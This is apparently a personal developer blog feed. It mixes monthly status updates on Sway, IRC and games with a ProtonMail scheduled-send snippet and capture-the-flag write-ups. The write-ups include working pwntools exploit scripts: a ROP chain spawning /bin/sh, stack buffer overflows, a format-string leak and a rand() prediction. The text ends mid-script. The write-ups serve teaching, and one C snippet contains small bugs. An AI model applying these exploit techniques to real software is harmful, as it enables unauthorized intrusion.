With birds chirping, winds blowing, and music¹ playing, I once again realize it’s been quite a while since my last status update. Oh well, such is life sometimes. Over the last few months I’ve gotten to know some cool people, worked on a few projects, and played some truly great video games with friends.

Starting off with the first noun in the title, I’ve been participating more on the Freenode IRC server, specifically in #archlinux-offtopic and #freenode, where I’ve found some true cat lovers. These people aren’t just your average cat gif viewers, they know some special cats and all about them. Here’s the two most spoken about, the kodkod and the sand cat:

Image by Mauro Tammone, CC BY 3.0, via Wikimedia Commons

Image by Payman sazesh, CC BY-SA 3.0, via Wikimedia Commons

When it comes to programming work I’ve done, it’s been a mix between lots of web development in Python and Go, a native app from a tiny bit of C, and a mix of some other projects. Two months ago, I wrote a simple periodic table app called periodicus. It’s nothing fancy, just the periodic table with symbols, but hopefully that’ll change once I get to needing/using it again. This blog has also been automatically deployed since mid-January through a build.sr.ht script. Not having to worry about it has been great.

Some friends and I have also been participating in the 2021 PicoCTF challenge which has proven to be an excellent combination of difficulty and interesting challenges. There’s less than 24 hours to go, so expect some writeups soon!

Finally, let’s talk about the last part of the title: Games. I’ve been playing video games like Minecraft and Team Fortress 2 for a rather long time, but have recently gotten into Stardew Valley for the first time and Terraria for the Nth time. In all honesty, Terraria is just a great game that will have its 10th birthday in May. Repeated, massive, free content updates have come time and time again, enriching the game year after year. Unfortunately, it does seem that these updates will finally come to an end as release 1.4.1, Journey’s End, landed in October of last year. Nonetheless, I’m currently having tons of fun in this little base of ours, just after defeating the Wall of Flesh and thus entering Hardmode.

If you’re looking for a fun, single or multiplayer game about exploration, fighting, and a pinch of story, try it! Oh, and it works wonderfully on Linux with a server binary provided if you want to self-host.

That’s it for this update, see ya soon!

Some random assortment of “chill,” chiptune, and video game soundtracks — really just anything with minimal lyrics. ↩︎

Scheduled Email Sending with ProtonMail

Wed, 10 Feb 2021 00:00:00 +0000

setTimeout(function() {$("button.mobileFull:nth-child(4)").click()}, <msec>);

This will, in the v3.16.57 version (and maybe others) of the ProtonMail web client, automatically send the email being written in the “New Message” dialog in <msec> milliseconds. Now on to…

The Story

My own email story is quite a convoluted one, but one I think many tech, security, and privacy-oriented folks go through. I started off with one Gmail account, progressed to two, then made a ProtonMail account, and finally moved on to my own domain with Migadu for the mail hosting.¹ While I am in the process of deleting Google-everything, I don’t have plans on doing that for ProtonMail so I continue to use it; I like their services and occasionally use ProtonVPN.

During one late night (read: 5:00 AM), I began an email sync between an old and new provider for one of my clients. The rather large amount of emails meant that this transfer could take a while, so I wanted to schedule an email to be sent in the morning when I estimated the transfer to complete. Now here’s the thing about ProtonMail:

It doesn’t normally support direct access through IMAP/SMTP
The ProtonMail Bridge allows this accesss with a paid account; I have a free one
Simon Ser made a third-party, open-source ProtonMail bridge called Hydroxide

Combined with my own home-server situation of switching from Debian to Alpine but not yet setting up the Hydroxide bridge, I couldn’t use any of the other standard Unix tools like sendmail combined with after. So, I resorted to my little bit of Javascript knowledge combined with some grade 2 arithmetic and figured I could automate the clicking of the “Send” button on the “New Message” dialog to occur in the morning. All I used was the setTimeout function, alongside a bit of jQuery which was conveniently included in the web client.²

So there you have it, at least until ProtonMail adds this feature natively. Hopefully this illustrates the importance of thinking outside the ~~mail~~box and shows that the simplest solutions can be quite great for non-critical work.

I could do it myself, but I’m happy to pay a little bit every year to not have to deal with maintenance, etc. Also, I save by hosting other emails with the same plan. ↩︎
This is totally possible without jQuery, as with technically anything jQuery. ↩︎

Happy New Year - December Status Update

Mon, 11 Jan 2021 00:00:00 +0000

Happy new year — only 10 days late!

Well, it’s a little over a week into the new year, about a week later than I planned on writing this post, and a few ~~seconds~~ minutes since I’ve started writing. This status update is going to be rather short since I haven’t really done much over the holidays. In fact, I’ll just list out some things I plan on working on and check them off as I go. Can I do them all by the start of February?

Get this site to automatically build with builds.sr.ht. Done
Write a simple periodic table native C app with (probably) SDL. Started
Write some console templates for my Prometheus logging setup
Open-source a Golang web development project I’m working on
Write a blog post about Github (repository) Stars and how I almost fell into a trap

And that’s all for now. Get your news from some reputable places, probably a newspaper of record, not off Twitter or social media, and stay safe while vaccines roll out in many parts of the world.

I've Moved! - November Status Update

Thu, 03 Dec 2020 00:00:00 +0000

Hey! It’s the third of the month and the perfect time to write a status update for the last. The snow has fallen, the skies have darkened, and I’ve moved from theavid.dev to fluix.one. To be honest, there’s only a small number of reasons for this:

I didn’t really like the names TheAvidDev and theavid.dev
fluix and fluix.one are shorter
See 1. and 2.

Overall, the new site contains the same information, albeit with styling changes and simplifications. There’s still a blog and a list of projects with a new miscellaneous page for random other information such as tools I’ve used, some recommendations, and more places to find me. An RSS feed is also still available for those that prefer it. From the technical side, I’ve switched to using Hugo and storing the posts in individual files, instead of in a database with Django. I’ve also setup Nginx to cache static resources and enabled HTTP 2.0 support.

Alongside the name change, I’ve increased my involvement in a number of other, smaller online communities. Primarily, I setup an IRC bouncer, soju, and joined #archlinux, #sr.ht, and #sway on Freenode. After following Sourcehut for a while, I wrote some tiny patches to improve the experience for those of us without an account, then promptly made an account. I’ve come to appreciate email, switching my error tracking to use it (as noted in my last post) and joined a few Arch Linux mailing lists. Stay tuned for a public mailing list soon!

Moving on to what I’ve been working on, it hasn’t really been much in terms of public projects. Locally, I’ve setup a Wireguard network between my various computers and remote hosts so I can host services remotely without having to expose them to the public or setup more specific firewall rules. I’ve also been writing documentation for my networking and service setup to improve organization. Switching from Bitwarden to pass has removed the need to host a bunch of services and allows me store everything in a git repository so doing that was nice too.

Well, that’s about it. November’s been a busy month behind the scenes and not so much in public. Stay cozy and safe everyone, see you in January!

Sway Borders and Art - October Status Update

Thu, 05 Nov 2020 00:00:00 +0000

Hey! I’m writing this just after publishing my first package on the AUR, sway-borders-git. Over the past week, I’ve done some important work to improve sway-borders¹ and get it ready for packaging. As promised in my original PR to upstream, different classes of border textures are now supported for different container states (focused, focused_inactive, unfocused, urgent). While cleaning up the rendering code, I’ve also fixed a long-standing bug with floating containers having only one border drawn. While certainly a little stressful, I’m happy to contribute to the AUR and hope to continue doing so in the future. Go try it out:

git clone https://aur.archlinux.org/sway-borders-git.git
makepkg -si
sway

Continuing with a little more Sway, I’ve gotten my graphics tablet working and decided to try my hand at a little bit of digital art. Here are my attempts at some crystals which I drew with the help of a few tutorials.²³

My first attempt, which got inadvertently mirrored.

A much better second attempt, great for a profile picture.⁴

I think I overdid it with the white highlights, but otherwise it’s quite nice.

Moving on, I’ve thought quite a bit about what place Snitch (and, by relation, Sentry) has in my planned logging infrastructure and what direction I want to take it in. Initially, as I stated in my original post,⁵ I wanted it to be a centralized place for all my errors. However, this has some flaws:

It’s too much: I’m an individual, not a large, or even small, team
My email inbox is a great centralized place for alerts
Django, the web framework I’ve used for most of my running projects, natively supports email alerting for errors

Alright, a little disheartening, but the solution seems super easy, just switch to emails! Well…

If many errors occur, I’ll get spammed: not the greatest
Two places of configuration: Alertmanager⁶ & Django
Some extra processing on errors to add more context or other helpful information is something I’m interested in⁷
Temporarily ignoring and grouping the same kinds of errors is also quite handy

Now some of these are definitely a stretch, I don’t need extra processing or grouping. The first point is really the only hard requirement I have, and it could be quickly solved with a custom logging handler. However, there’s another tool that I’m already going to be using which handles everything I need: Prometheus’s Alertmanager. It takes alerts, groups them, inhibits them, and sends them through whatever communication channel is configured. That only leaves #3, alongside the connection between my application and Alertmanager.

And so, the new direction that *Py-*Snitch takes will be to add meaningful context to Python exceptions and pass them on to Alertmanager’s HTTP API. Eventually, I plan on doing this with other languages I use, and I think that a centralized service that sits between the integration and Alertmanager might eventually prove useful (read: won’t happen), for example to combine errors from multiple applications, so I’ll leave the name Snitch open for that.

That’s it for this month, see you next time :D

…..well this blog post turned out to be a bit longer than I thought it would, back to coding-

My fork of Sway which adds custom borders. ↩︎
https://www.deviantart.com/pikishi/art/Crystals-Progress-Tutorial-202585015 ↩︎
https://www.youtube.com/watch?v=2MXLbEHmZO8 ↩︎
wink wink, nudge nudge - please don’t use it yourself though. ↩︎
Third paragraph of https://theavid.dev/status-update-2020-09 ↩︎
I will be using Alertmanager to notify me of important changes detected through Prometheus metrics. ↩︎
Such as adding relevant, nearby source code snippets or Django request properties. ↩︎

This is late... - September Status Update

Mon, 19 Oct 2020 00:00:00 +0000

Well, school has begun, work has been done, and as the title says, this status update is rather late. It will also include my work over the extra half month of October, so the next update will be rather short (or who knows, maybe I’ll get a lot of work done).

Getting right into it, since winning the KuriusHacks 2020 hackathon, we’ve been helping the Kurius team on their new initiative titled HackItForward. Its goal is to get developers to create projects and connect with organizations which are trying to solve challenges affecting the world. It’s still in the very early stages of development, the largest project I’ve worked on with others I know, and the first project I’m the maintainer of. This has proven to be quite a great learning experience, especially in terms of project maintenance.

Moving on to some new stuff, I’m beginning my work on an notification/error tracking alternative to Sentry, which I’ve named Snitch. This is part of my plan to improve my overall logging infrastructure which is currently almost non-existent.¹ My goal behind Snitch is to keep it extremely lightweight and minimalistic, while making sure it’s still efficient at doing what it’s supposed to do: keep errors and other notifications/events in a centralized, easy to access place. I’m also doing it as an opportunity to learn Go. I’ll write a separate post just about Snitch and my overall logging infrastructure once I get a little further.

Moving onto October, we all know about DigitalOcean’s Hack? Spam? -toberfest. Some people claim this event has done little to no good,² ³ but this event has certainly affected some communities in a positive way.⁴ In short, I think Hacktoberfest started out pretty poorly. It spammed hundreds, if not thousands, of maintainers with meaningless pull requests, all as part of a marketing effort. But we’ve all read about that. Once enough people raised issues about the opt-out model, DigitalOcean changed the event for the better: they implemented opt-in participation from maintainers.⁵ While this may not have prevented the spam, it at least made it meaningless for the spammers.

Finally, I’m ~~dreading~~ having some fun with OpenGL, attempting to make some proceduraly generated terrain.⁶ I’ve learned it’s rather difficult to find some C (not C++) tutorials on modern OpenGL, but I’ve managed to get past that. So far, I’m proud I have this rotating coloured cube.

Anyways, that’s all for now. Stay tuned for my next update ~~midway through~~ in the first week of November.

I’ve setup Prometheus with Grafana as well as basic file logging but I haven’t set it up effectively. ↩︎
https://drewdevault.com/2020/10/01/Spamtoberfest.html ↩︎
https://twitter.com/shitoberfest and https://twitter.com/hashtag/spamtoberfest ↩︎
Some of the projects in the Hacktoberfest topic ↩︎
https://hacktoberfest.digitalocean.com/hacktoberfest-update ↩︎
Most likely voxel-based, planning to become a multiplayer game. ↩︎

Sway Fork and Hackathons - August Status Update

Thu, 03 Sep 2020 00:00:00 +0000

It’s the first week of September, the air is getting colder, and the winds are getting stronger. There’s also been some beautiful lightning storms that have lit up the sky late into the night and early hours of the morning. But back on topic, it’s time for another status update to talk about what I’ve been working on in August and what I plan to work on in the coming month.

Let’s start off with talking about Sway. It’s a wonderful Wayland compositor which I have been using for the past few months and have thoroughly enjoyed. However, it does lack some more aesthetic features like rounded borders, drop shadows, and transparent window blurring. While I personally didn’t have much interest in these features,¹ I wanted to learn some C so I took up the challenge of making customizable window borders which would allow for some of these effects.

All of this culminated in a PR to add custom border image support to Sway. While many people seem to want these new features,² the PR was ultimately closed because it doesn’t fit the vision of Sway. So, with that, my own fork of Sway was born, titled sway-borders. While the flagship feature is these borders, I plan to add on more aesthetic features and enhancements that don’t fit upstream. In the coming days, I plan on ironing out the remaining bugs³ and releasing an AUR package for my fork. If you’re interested in this release, watch this issue. Oh, and here’s my personal showcase setup which uses sway-borders:

Near the end of August, I also participated in the KuriusHacks 2020 hackathon with a few friends to create Stratus. I’ve participated in several hackathons prior, but this is my first time creating a project that ended up taking first place. Because of this, we have also began working with Kurius to create their new “hackitforward” platform based on our project which will be worked on in the coming months. I’m excited to be part of their team and hope for the best with the platform. The project is now located in their GitHub organization and will stay as an AGPL-licensed open source project.

I wish I had more to say, but I really haven’t done all that much during August — at least I’m enjoying the summer. I do, however, have some ideas of new projects I’d like to work on in September. The first, which I’ll probably title sspm is a super simple password manager that’s meant to be modular in nature and work from the command line. I’ve used Bitwarden for a while now, but it’s bloated and difficult to control with a keyboard. sspm would have a variety of backends to get the encrypted vault from and to, as well as a command line interface for interaction. The command line nature will make it easy to integrate with dynamic menus like dmenu or wofi. Just use pass…

And that’s all for now. Thanks for reading and stay tuned for my upcoming blog post about EEE.⁴

Now it seems neat, maybe it’s because I spent several hours working on it. ↩︎
There’s 19 thumbs up, 7 hoorays, and 1 heart on the PR as of 2020-09-03 02:13 UTC. ↩︎
See issues #3, #6, #10, and #12. ↩︎
Which acronym is it… find out soon! ↩︎

DMOJ, CTFs, Sway, and More - July Status Update

Sat, 01 Aug 2020 00:00:00 +0000

It’s the early morning of August 1st as I write this, in a style unlike any other post on this website. This will be the first in a series of monthly posts (status updates) talking about what I’ve worked on throughout the month, what I want to work on in the future, and what’s going on in my life at the moment.

Let’s start off with this site itself. I’ve worked on the codebase significantly and redesigned it for a more technical theme – with lots of inspiration from emersion. No Javascript either! I’ve written four writeups this month to total 9 blog posts since I started writing and I think I’ve come up with a more concrete plan for the future. Alongside these monthly updates, posted either at the end or early start of a month, I will be making writeups for only the CTF challenges I find particularly enjoyable, interesting, or educational (The rest of my writeups can be seen on CTFTime). Finally, I want to write about interesting stories that occur, or have occurred, in the technological sphere, similar in style to Tom Scott’s videos so look forward to those.

Regarding the DMOJ,¹ I’ve worked on the upcoming merge with WCIPEG.² DMOJ started off with heavy inspiration from PEG and seeing them coming together to form a stronger, unified platform is rather exciting. I feel honored for having a chance to participate in this arguably historic moment. Once this merge is finished, I need to get back to finishing my PR of adding unit tests for some of the utilities. It’s unfortunately fallen on the backburner while I do other work, but I’ll be sure to get it merged in August. Recently, I’ve also tried to improve my competitive programming skills by practicing various problems on DMOJ. I’ve even written a simple script³ that picks out problems of increasing difficulty levels for me to do.

In other news, as many of you might know, I’ve been participating in quite a few CTFs and writing writeups for them. Our team has even come really close to some nice prizes, just a few hours ago. Having fun with friends while learning and improving, especially in the current situation that’s affecting everyone’s lives, is truly amazing. I’m trying to get better at binary exploitation, but our team really needs more web people as we struggle with having so many high value web challenges thrown our way. Maybe I’ll look into that as well, especially considering the fact that I do web development on the side.

I’ve started a new project, opencv-ptz, which uses a Pan Tilt Zoom (PTZ) camera in combination with OpenCV to automatically control the camera to location, move to, and zoom in on a person’s face. Right now, I’m controlling it with a simple API that exists on a web server hosted on the camera, but this control is neither fine-grained nor particularly quick. Instead, I’m going to try and build a circuit to control the camera through one of its various serial interfaces so I can ideally achieve smooth motion. The final goal of this project is to be able to watch and track animals outside or follow dancers on a stage. I’ll make sure to upload it to GitHub once I figure out the serial interface as its nothing more that a crude Python script right now.

On a final note, I’ve been working on a mini-project for Sway. I won’t explain exactly what it is, but it should be pretty cool. There’s little chance (or plan) for it to get merged into the official branch, but let’s just say it may warrant a separate package, similar to i3-gaps for i3. This should be finished within the next month, but for now I’ll leave this sneak peak below:

And that’s all, I’ve left out details here and there and didn’t mention the much smaller things I’ve been working on, but I hope you enjoyed. At worst, I’ll see you back here a month from now, but I hope to find something that sparks my attention and gets me in a writing mood earlier.

Stay safe everyone!

A modern contest platform and archive of programming problems. ↩︎
An older contest platform that still remains active. ↩︎
It really just uses the list of problems from the API and picks out N random problems for each point value. ↩︎

My First ROP Chain - HacktivityCon 2020 Static and Dynamic Writeup

Fri, 31 Jul 2020 00:00:00 +0000

Hacktivity CON 2020 was a CTF my team and I participated in and finished fourth, one place away from the prize pool. It was a great CTF and we all learned a lot while having quite some fun. One of the pwn challenges, “Static and Dynamic” was my first experience at a Return Oriented Programming (ROP) Chain exploit, so let’s break it down.

Description

Starting up the program, we can see a simple prompt that takes in a user input and segfaults if it overflows.

This is a really big binary. Hope you have everything you need ;)
tttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttttt
[1] 247339 segmentation fault (core dumped) ./sad

Looking at this executable in radare2 we find that there’s a buffer of length 0x100 and the return pointer shows up after another 8 bytes of padding. By showing the memory maps (with dm) after runtime, we can see that the stack, where our input goes is not executable:

0x00007ffddf880000 - 0x00007ffddf8a1000 - usr 132K s rw- [stack] [stack] ; map.stack_.rw

Exploitation

So instead of writing shellcode (because it can’t be executed), we can use a ROP Chain to eventually call execve with /bin/sh and spawn a shell. First though, we need to find the 5 gadgets¹ below to be able to exploit. The address where they are located are also included and are part of the python exploit script.

POP_RDI = p64(0x00481a89) # pop rdi, ret
POP_RSI = p64(0x00481fd7) # pop rsi, ret
POP_RDX = p64(0x0040177f) # pop rdx, ret
POP_RAX = p64(0x0043f8d7) # pop rax, ret
SYSCALL = p64(0x0040eda4) # syscall, ret

Now that we have found our gadgets, we need to determine the exact arguments (which use the registers rdi, rsi, and rdx, with the syscall number in rax) for read and execve. The read syscall takes in a file descriptor, pointer to a buffer to read into, and a count for the number of bytes to read in. In our case, we use 0 as the file descriptor for stdin and the buffer needs to be at some offset² in writable memory. Let’s use 0x4b0310 which can be found by looking at the writable memory maps and finding many null bytes. Before we understand the length, let’s take a look at the arguments for execve.

execve takes a pointer to a pathname, a pointer to an array of char * arguments to pass to the program, and a pointer to an array of char * environment variables. In our case, the pathname pointer will be 0x4b0310 which is where we will write /bin/sh and the arguments will be read in by the read right after the /bin/sh so we will use 0x4b0318.³ These arguments need to be pointers to strings and, as we know, argv[0] is the program name so for simplicity we can have it point back to the /bin/sh. We end off with a null pointer to signify the end of the array. Finally, the environment variables can just be a null pointer for an empty array. Below is the full payload which read will read in as Python bytes:

b'/bin/sh\x00\x10\x03\x4b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

# pathname: /bin/sh\x00
# argv[0]: \x10\x03\x4b\x00\x00\x00\x00\x00
# argv end: \x00\x00\x00\x00\x00\x00\x00\x00

Jumping back to our read call, this gives us a final length of 24 and a final ROP Chain exploit which looks as follows:


from pwn import *
import sys

p = process("./sad")
# p = remote('jh2i.com', 50002)

POP_RDI = p64(0x00481a89) # pop rdi, ret
POP_RSI = p64(0x00481fd7) # pop rsi, ret
POP_RDX = p64(0x0040177f) # pop rdx, ret
POP_RAX = p64(0x0043f8d7) # pop rax, ret
SYSCALL = p64(0x0040eda4) # syscall, ret


WRITE_OFFSET = 0x4b0310
WRITE = b"/bin/sh\x00" + p64(WRITE_OFFSET) + p64(0)

ROP_CHAIN = b"A" * (256 + 8)\
 + POP_RDI \
 + p64(0) \
 + POP_RSI \
 + p64(WRITE_OFFSET) \
 + POP_RDX \
 + p64(len(WRITE)) \
 + POP_RAX \
 + p64(0) \
 + SYSCALL \
 + POP_RDI \
 + p64(WRITE_OFFSET) \
 + POP_RSI \
 + p64(WRITE_OFFSET + len(b"/bin/sh\x00")) \
 + POP_RDX \
 + p64(0) \
 + POP_RAX \
 + p64(59) \
 + SYSCALL \

p.sendline(ROP_CHAIN)
p.sendline(WRITE)
p.interactive()

Every gadget will pop the pointer after it, so the first two lines of the ROP_CHAIN will place 0x0000000000000000 into rdi, 0x4b0310 (WRITE_OFFSET) into rdx and so on. The 0 and 59 used for rax are the system call numbers for read and execve.

And bam, we get a shell and the flag.

$ ls
flag.txt
sad
$ cat flag.txt
flag{radically_statically_roppingly_vulnerable}

A gadget is a tiny snip of assembly in executable memory that we can run for a useful purpose. In this case they will be used to place values into registers and execute a syscall. ↩︎
The executable doesn’t have PIE enabled, so we know this offset will be constant. ↩︎
This is 0x4b0310 + 8 because /bin/sh is 7 characters, plus the null byte at the end. ↩︎

pwn intended - CSICTF 2020 Writeups

Tue, 28 Jul 2020 00:00:00 +0000

My team and I participated in csictf 2020 and enjoyed it quite a bit. This blog post will be a writeup of the pwn-intended-0x1, pwn-intended-0x2, and pwn-intended-0x3 problems. Once again this writeup is released really late, but maybe it’ll still be useful to some – or just a good read.

pwn-intended-0x1

The writeup for this challenge will be more detailed, in part because I want to understand how the stack is used in assembly. This challenge can be trivially solved by just bashing the keyboard. Hopefully this deeper explanation will provide more insight into the lower level computation. WIth that, let’s begin.

For this challenge we are given an executable which asks for some input on startup. Let’s decompile it with r2ghidra-dec – a Ghidra decompiler integration into radare.

undefined8 main(void)
{
 char *s;
 uint32_t var_4h;

 var_4h = 0;
 sym.imp.setbuf(_reloc.stdout, 0);
 sym.imp.setbuf(_reloc.stdin, 0);
 sym.imp.setbuf(_reloc.stderr, 0);
 sym.imp.puts("Please pour me some coffee:");
 sym.imp.gets(&s);
 sym.imp.puts("\nThanks!\n");
 if (var_4h != 0) {
 sym.imp.puts("Oh no, you spilled some coffee on the floor! Use the flag to clean it.");
 sym.imp.system("cat flag.txt");
 }
 return 0;
}

Something to note is that if we were to use Ghidra, it would show something like char s [44];, but let’s find this out using radare and see how these two variables are placed one after the other on the stack.

┌ 158: int main (int argc, char **argv, char **envp);
│ ; var char *s @ rbp-0x30
│ ; var uint32_t var_4h @ rbp-0x4
│ 0x00401156 55 push rbp
│ 0x00401157 4889e5 mov rbp, rsp
│ 0x0040115a 4883ec30 sub rsp, 0x30
│ 0x0040115e c745fc000000. mov dword [var_4h], 0
│ ; <redacted>, Sets up stdio buffers and prompts for input
│ 0x004011ad 488d45d0 lea rax, [s]
│ 0x004011b1 4889c7 mov rdi, rax ; char *s
│ 0x004011b4 b800000000 mov eax, 0
│ 0x004011b9 e8a2feffff call sym.imp.gets ;[3] ; char *gets(char *s)
│ 0x004011be 488d3d5f0e00. lea rdi, str.Thanks ; 0x402024 ; "\nThanks!\n" ; const char *s
│ 0x004011c5 e866feffff call sym.imp.puts ;[2] ; int puts(const char *s)
│ 0x004011ca 837dfc00 cmp dword [var_4h], 0
│ ┌─< 0x004011ce 741d je 0x4011ed
│ │ ; <redacted>, Flag is printed here
│ └─> 0x004011ed b800000000 mov eax, 0
│ 0x004011f2 c9 leave
└ 0x004011f3 c3 ret

At the very start we see the two variables, s and var_4h defined by radare with offsets off rbp and then assigned to in assembly below:

; var char *s @ rbp-0x30
; var uint32_t var_4h @ rbp-0x4
0x0040115e c745fc000000. mov dword [var_4h], 0
0x004011ad 488d45d0 lea rax, [s]

It’s clear that the size of them together is 0x30:

0x0040115a 4883ec30 sub rsp, 0x30

s is placed at the start with offset rbp - 0x30 and then var_4h is placed at rbp - 0x4. This means that the s buffer which we control is of size 0x30 - 0x4 = 0x2c or 44 in decimal. Thus, we can overflow¹ this buffer and overwrite var_4h by sending 44 bytes followed by our new value for var_4h.

The flag is printed if var_4h is no longer 0, so overwriting it with anything but null bytes should do the trick. The comparison can be seen here:

0x004011ca 837dfc00 cmp dword [var_4h], 0

The flag we get is: csictf{y0u_ov3rfl0w3d_th@t_c0ff33l1ke@_buff3r}

pwn-intended-0x2

This problem is nearly identical to the last with the only difference being the final comparison. It now checks var_4h for the value 0xcafebabe instead of 0.

0x004011ca 817dfcbebafe. cmp dword [var_4h], 0xcafebabe

To make our final exploit, we can either use 44 bytes followed by \xbe\xba\xfe\xca (which is 0xcafebabe with the correct endianness). Personally, I like using pwntools to do the conversion which makes the script below. p32 is used to convert the 32-bit address to the bytes described.

from pwn import *

p = process("./pwn-intended-0x2")
p = remote("chall.csivit.com", 30007) # Remove for local testing
p.sendline(b"A" * 44 + p32(0xcafebabe))
p.interactive()

We get the flag: csictf{c4n_y0u_re4lly_telep0rt?}

pwn-intended-0x3

The final problem requires that you call a flag() function which reads the flag. Looking at the disassembly, we can see another buffer, this time of size 0x20 (32 in decimal).

┌ 104: int main (int argc, char **argv, char **envp);
│ ; var char *s @ rbp-0x20
│ 0x00401166 55 push rbp
│ 0x00401167 4889e5 mov rbp, rsp
│ 0x0040116a 4883ec20 sub rsp, 0x20
│ ; <redacted>, Setup stdio and print some text
│ 0x004011b6 488d45e0 lea rax, [s]
│ 0x004011ba 4889c7 mov rdi, rax ; char *s
│ 0x004011bd b800000000 mov eax, 0
│ 0x004011c2 e899feffff call sym.imp.gets ;[3] ; char *gets(char *s)
│ 0x004011c7 b800000000 mov eax, 0
│ 0x004011cc c9 leave
└ 0x004011cd c3 ret
┌ 38: sym.flag ();
│ 0x004011ce 55 push rbp
│ ; <redacted>, print the flag
└ 0x004011ef e87cfeffff call sym.imp.exit ;[5] ; void exit(int status)

The exploit here is quite clear, we need to overwrite the return pointer of the main() function to 0x004011ce to run the flag() function. To do so, we first need to send 32 bytes to fill up the input buffer, then send 8 bytes,² and then the address 0x004011ce as \xce\x11@\x00\x00\x00\x00\x00 (the @ is just \x40).

With that, our exploit script, once again using pwntools, can be seen below. We use p64 to convert the 64-bit address to the bytes described above.

from pwn import *

p = process("./pwn-intended-0x3")
p = remote("chall.csivit.com", 30013) # Remove for local testing
p.sendline(b"A" * (32 + 8) + p64(0x4011ce))
p.interactive()

And we get our flag, csictf{ch4lleng1ng_th3_v3ry_l4ws_0f_phys1cs}, nice!

We can do this because input is taken with gets() which, as described in the gets manpage (man 3 gets) is unsafe because it will continue reading data until reaching a specific character like a newline. ↩︎
One can find this out by debugging with radare which will was described in this blog post. It is probably for alignment, but to find out exactly why you’ll have to become a glibc librarian. ↩︎

Intro to Binary Exploitation - DMOJ CTF 2020 Writeups

Mon, 27 Jul 2020 00:00:00 +0000

This blog post covers the solutions to the binary exploitation problems of DMOJ CTF ‘20. If you want to try the problems by yourself, either before or after reading this writeup, the links are below:

These problems are relatively simple and cover some of the most basic techniques when it comes to binary exploitation so don’t be scared to give them a try. All of these techniques can become very useful later down the line and are often used as part of larger, more complex exploits.

Super Secure Pseudorandom Number Generator

This problem had a simple menu which allowed the generation of random numbers and guessing of a single random number. If the correct number was guessed, the flag would get printed to stderr and you would solve the challenge.

This first section of code can be seen initializing the rand() seed with the current time (in seconds) and setting the balance to 999999999:

srand(time(NULL));
int balance = 999999999;

Generation

Now here is the section that allows you to generate some random numbers if you have enough balance:

while (scanf("%d", &count) != 1);
if (!(1 <= count && count <= 20))
{
 printf("Number %d not in range.\n", count);
 return 1;
}
else if (500000000 * count > balance)
{
 printf("You do not have enough money!\n");
 return 1;
}
balance -= 500000000 * count;
printf("Success!\nHere are your %d numbers.\n", count);
for (int i = 1; i <= count; i++)
{
 printf("%d\n", rand());
}

As we can see, it allows you to generate anywhere from 1 to 20 random numbers, but the important aspect is the 500000000 * count > balance and subsequent balance -= 500000000 * count sections. We need to use these to get a balance which will allow us to pay for the guessing of a random number since the starting value of 999999999 is less than 1000000000.

What we find is that if we ask to generate a specific number of flags, such as 5, we can overflow the 500000000 * count to bypass the check and overflow the balance to be able to guess a random number later on. Let’s see how the overflow happens below:

500000000 * 5 = 2500000000

2500000000 is over the maximum C integer of INT_MAX = 2**31-1 = 2147483647 so the new value can be calculated as follows based on the minimum C integer of INT_MIN = -2**31 = -2147483648:

2500000000 - 2147483647 = 352516353
-2147483648 + 352516353 = -1794967296

This value is certainly less than our current balance, so we proceed without receiving "You do not have enough money!". A similar process happens to our balance, leaving it at -1500000001.

Guessing

Moving on to the generation of the random number for us to guess, we see the code below:

balance -= 1000000000LL;
if (balance < 0)
{
 printf("You do not have enough money!\n");
 return 1;
}
printf("Enter the secret code: ");
while (scanf("%d", &count) != 1);
if (count != rand())
{
 printf("Wrong number!\n");
 return 1;
}
// Flag printing routine here.

The initial balance check gets bypassed because of the previous steps, with the exact math involved being left as an exercise to the reader.

Exploiting

With that, all we need to do is guess the outcome of the 6th rand() call (6 because we asked for 5 random numbers before which all called rand() once).

What we know from the very start is that the seed was set with srand(time(NULL)) which returns the current time, in seconds, since the first of January 1970.¹ Because our own code and the problem run at nearly the same time, we can mimic this behavior exactly to print the flag and with the problem.

The full exploit is below:

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main() {
 srand(time(NULL))
 printf("1\n5\n2\n");
 for (int i = 0; i < 5; i ++) {
 rand();
 }
 printf(rand());
}

Strings

This problem’s solution is arguably simpler than the last, but requires some knowledge of C and format strings. The entire problem code is below:

#pragma GCC optimize("O0")
#include <stdio.h>
#include <unistd.h>

int
main()
{
 fprintf(stderr, "Welcome to echo, live edition!\n");
 fprintf(stderr, "Enter something and this program will repeat it.\n");
 char something_secret[64];
 FILE *f = fopen("flag", "r");
 if (f == NULL)
 {
 fprintf(stderr, "Failed to open flag file.\n");
 return 1;
 }
 fgets(something_secret, 64, f);
 char data[64] = {0};
 read(0, data, 63);
 fprintf(stderr, data);
 return 0;
}

This program uses the read function to safely read user input, so we can’t exploit any overflows of the data buffer. However, fprintf will gladly accept format strings (as described in man 3 fprintf). This means that the following 6 character input will leak the flag:

%s%s%s

Explanation

First off, this problem is both hardware dependent² and glibc dependent. The DMOJ Judge has these kept constant across runs during the contest, but competitors’ glibc versions are different and some make the intended solution impossible to test locally. The solution of %s%s%s will read the values pointed to by the registers rdx, rcx, and r8 in that order. The values they point to are described below:

rdx points to the input buffer – in this case %s%s%s.
rcx points to the value filled in by the syscall inside of read which is hardware dependent.
r8 points to the something_secret buffer which stores the flag. The fact that r8 is used is glibc dependent.

Classic Buffer Overflow

We now come to the final problem which has the solution in its name. The goal of the problem is to run a function called win whose pointer is printed on startup. Below is the entire source code of the problem:

#pragma GCC optimize("O0")
#include <stdio.h>
#include <stdlib.h>

void
win()
{
 char buf[64];
 FILE *f = fopen("flag", "r");
 if (f == NULL)
 {
 printf("Failed to open flag file.\n");
 exit(1);
 }

 fgets(buf, 63, f);
 fprintf(stderr, buf);
}

void
vuln()
{
 char buf[100];
 gets(buf);
 puts(buf);
}

int
main()
{
 printf("%p\n", win);
 fflush(stdout);
 vuln();
 return 0;
}

All we have to do is overflow the buf buffer and change the return pointer to win.

Exploitation

While you could just guess how many characters you need (in chunks of 4 after the 100 allocated for the buffer), and that is what I did for this challenge, I’ll go through one of the theoretically correct ways to do this challenge with radare.

To make my life easier, I have a simple python script that uses pwntools to startup the script and then enter the alphabet as input. It waits for the user to press Enter before sending the data so I have time to attach to the process with radare. Here it is below:

from pwn import *

